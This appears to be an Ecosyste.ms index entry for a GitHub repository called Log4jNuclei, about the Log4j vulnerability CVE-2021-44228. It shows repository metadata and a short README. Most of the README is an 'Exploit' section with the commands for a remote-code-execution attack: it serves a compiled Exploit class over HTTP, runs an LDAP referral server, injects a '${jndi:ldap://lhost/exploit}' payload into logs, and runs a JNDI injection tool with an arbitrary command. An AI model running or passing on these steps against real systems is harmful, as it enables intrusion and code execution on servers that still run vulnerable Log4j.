Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/numanturle/Log4jNuclei
Log4j for nuclei
https://github.com/numanturle/Log4jNuclei
Last synced: 21 days ago
JSON representation
Log4j for nuclei
- Host: GitHub
- URL: https://github.com/numanturle/Log4jNuclei
- Owner: numanturle
- Created: 2021-12-10T12:51:47.000Z (about 3 years ago)
- Default Branch: main
- Last Pushed: 2021-12-13T17:27:04.000Z (almost 3 years ago)
- Last Synced: 2024-08-05T17:36:18.297Z (4 months ago)
- Language: Java
- Size: 44.9 MB
- Stars: 64
- Watchers: 3
- Forks: 11
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
- awesome-hacking-lists - numanturle/Log4jNuclei - Log4j for nuclei (Java)
README
# Log4jNuclei
# CVE-2021-44228
Log4j for nuclei
# Exploit
```
javac Exploit.java
python3 -m http.server 80
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit
insert log ${jndi:ldap://lhost/exploit}
///////
java -jar exploit/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'here_command' -A 0.0.0.0
```
# Reference
https://cloud.tencent.com/developer/article/1653754
https://www.freebuf.com/vuls/208339.html